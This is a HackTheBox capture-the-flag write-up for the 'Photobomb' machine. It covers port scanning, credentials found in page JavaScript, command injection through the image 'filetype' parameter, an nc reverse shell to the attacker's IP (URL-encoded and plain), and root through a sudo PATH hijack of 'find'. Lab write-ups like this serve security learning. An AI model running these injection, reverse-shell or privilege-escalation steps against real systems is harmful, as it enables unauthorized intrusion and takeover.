Photobomb hackthebox writeup
User flag
As always let’s start with port scanning, first a general scan and then a more in-depth scan of the open ports
nmap -n -Pn -sS -p- --min-rate 5000 -vv -oN allports 10.10.11.182
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
nmap -p22,80 -sCV -oN targeted -vv 10.10.11.182
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
...
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Photobomb
|_http-favicon: Unknown favicon MD5: 622B9ED3F0195B2D1811DF6F278518C2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since nothing interesting appears I tried connecting to the webpage, however, I got redirected to photobomb.htb so I added this line to my /etc/hosts as usual
10.10.11.182 photobomb.htb
On the page, we find a link to a subdirectory called printer but it asks us for credentials via HTTP auth. The page is really simple and after fuzzing for common files, I didn’t find anything, so I looked at the page source code and found this in photobomb.js.
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
By going to that URL we get HTTP auth credentials. Now we are presented with a webpage where you can download images with different sizes and extensions like .jpg or .png. As I always say in this kind of CTF challenge the first thing to do in this situation is to pentest the main functionality of the page thus I opened burpsuite and started looking at the request to download images. Here is an example
POST /printer HTTP/1.1
Host: photobomb.htb
Content-Length: 78
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://photobomb.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://photobomb.htb/printer
Accept-Encoding: gzip, deflate
Accept-Language: es,en-US;q=0.9,en;q=0.8
Connection: close
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000
As you can see it has three parameters photo,filetype, and dimensions. I tried getting an LFI with the photo parameters but It didn’t work so my next target was the filetype parameter. I fuzzed the values of the parameter and got these results.
ffuf -w /home/dasor/wordlist/tmp.txt -u http://photobomb.htb/printer -v -X POST -d photo=masaaki-komori-NYFaNoiPf7A-unsplash.jpg&filetype=FUZZ&dimensions=3000x2000 -H Content-Type: application/x-www-form-urlencoded -H Authorization: Basic cEgwdDA6YjBNYiE=
FUZZ | URL | Redirectlocation | Position | Status Code | Content Length | Content Words | Content Lines | Content Type | ResultFile |
---|---|---|---|---|---|---|---|---|---|
jpg | http://photobomb.htb/printer | 15 | 200 | 175902 | 553 | 415 | image/jpeg | ||
png | http://photobomb.htb/printer | 24 | 200 | 3495633 | 14863 | 13790 | image/png | ||
pngphp | http://photobomb.htb/printer | 631 | 200 | 175902 | 553 | 415 | text/html;charset=utf-8 | ||
jpghtml | http://photobomb.htb/printer | 682 | 200 | 175902 | 553 | 415 | text/html;charset=utf-8 | ||
jpgjpg | http://photobomb.htb/printer | 1174 | 200 | 175902 | 553 | 415 | text/html;charset=utf-8 | ||
jpgxml | http://photobomb.htb/printer | 2080 | 200 | 175902 | 553 | 415 | text/html;charset=utf-8 | ||
jpg[ | http://photobomb.htb/printer | 2081 | 200 | 175902 | 553 | 415 | text/html;charset=utf-8 | ||
jpg] | http://photobomb.htb/printer | 2082 | 200 | 175902 | 553 | 415 | text/html;charset=utf-8 | ||
png,bmp | http://photobomb.htb/printer | 2232 | 200 | 175902 | 553 | 415 | text/html;charset=utf-8 |
It seems that everything that you write behind either png or jpg is valid so I tested with jpg;sleep%205
and it worked! (by the way %20 is just a space URL encoded). This is a significant opportunity to get a reverse shell so I started testing some out.
The only one that worked for me was the rm mkfifo
from revshells, the request looks like this
POST /printer HTTP/1.1
Host: photobomb.htb
Content-Length: 201
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Authorization: Basic cEgwdDA6YjBNYiE=
Origin: http://photobomb.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://photobomb.htb/printer
Accept-Encoding: gzip, deflate
Accept-Language: es,en-US;q=0.9,en;q=0.8
Connection: close
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.14.16%207777%20%3E%2Ftmp%2Ff%0A&dimensions=3000x2000
By the way, this is the command I used to encode the reverse shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.16 7777 >/tmp/f" | jq -sRr @uri
Once connected to the machine I did the tty treatment as usual
nc -lvp 7777
Connection from 10.10.11.182:42972
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
wizard@photobomb:~/photobomb$ ^Z
zsh: suspended nc -lvp 7777
[dasor@archlinux ~]$ stty raw -echo;fg
[1] + continued nc -lvp 7777
script /dev/null -c bash
Script started, file is /dev/null
wizard@photobomb:~/photobomb$ export TERM=xterm
wizard@photobomb:~/photobomb$ stty rows 30 columns 132
At this point I was able to obtain the user flag
Root Flag
This privilege escalation is easy, look into the sudo config and you will find something which seems to be a fatal flaw.
wizard@photobomb:~/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
The user is allowed to execute ‘/opt/cleanup.sh’ without any password. And by looking at it we can see another huge blunder.
wizard@photobomb:~/photobomb$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
find is not using an absolute path so we can manipulate the $PATH variable to get root despite the secure_path option in sudo.
First, create a malicious find binary and give it execute permissions, for instance
wizard@photobomb:/dev/shm$ cat > find
su
^C
wizard@photobomb:/dev/shm$ chmod a+x find
Now change the $PATH variable by adding your path
wizard@photobomb:/dev/shm$ export PATH=$PWD:$PATH
And now execute the script as sudo but make sure to overwrite the $PATH like this so you bypass the secure_path option for sudo
wizard@photobomb:/dev/shm$ sudo PATH=$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami
root
and that’s all! , thank you for reading.